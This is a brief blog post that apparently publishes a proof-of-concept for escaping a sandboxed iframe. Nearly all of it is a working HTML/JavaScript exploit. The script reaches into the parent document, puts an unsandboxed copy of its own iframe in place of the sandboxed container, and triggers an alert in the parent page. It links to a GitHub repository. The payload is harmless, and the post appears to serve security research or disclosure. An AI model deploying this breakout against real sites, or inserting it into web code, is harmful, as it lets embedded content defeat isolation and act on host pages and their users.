Escaping iframes dynamically

October 17, 2024

POC for escaping iframes

<!DOCTYPE html>
<html>
<head>
    <title>PoC - iframe sandbox breakout</title>
</head>
<body>
    <script>
        const escape = () => {
            document.body.innerText = "poc iframe sandbox breakout.";

            let parent = window.parent;
            
            // Find the iframe that contains this window
            let container = Array.from(parent.document.getElementsByTagName('iframe'))
                .find(iframe => iframe.contentWindow === window);

            if (container) {
                let replacement = parent.document.createElement("iframe");
                replacement.setAttribute("src", window.location.href);
                replacement.setAttribute("id", "escapedTheIframe")
                parent.document.body.append(replacement);
                container.parentNode.removeChild(container);
                parent.alert("broke out of the iframe sandbox poc - ian");
            } 
            else {
                alert("Could not find the containing iframe - ian");
            }
        }

        escape();
    </script>
</body>
</html>

Image POC

image

https://github.com/Vagebondcur/iframe-escape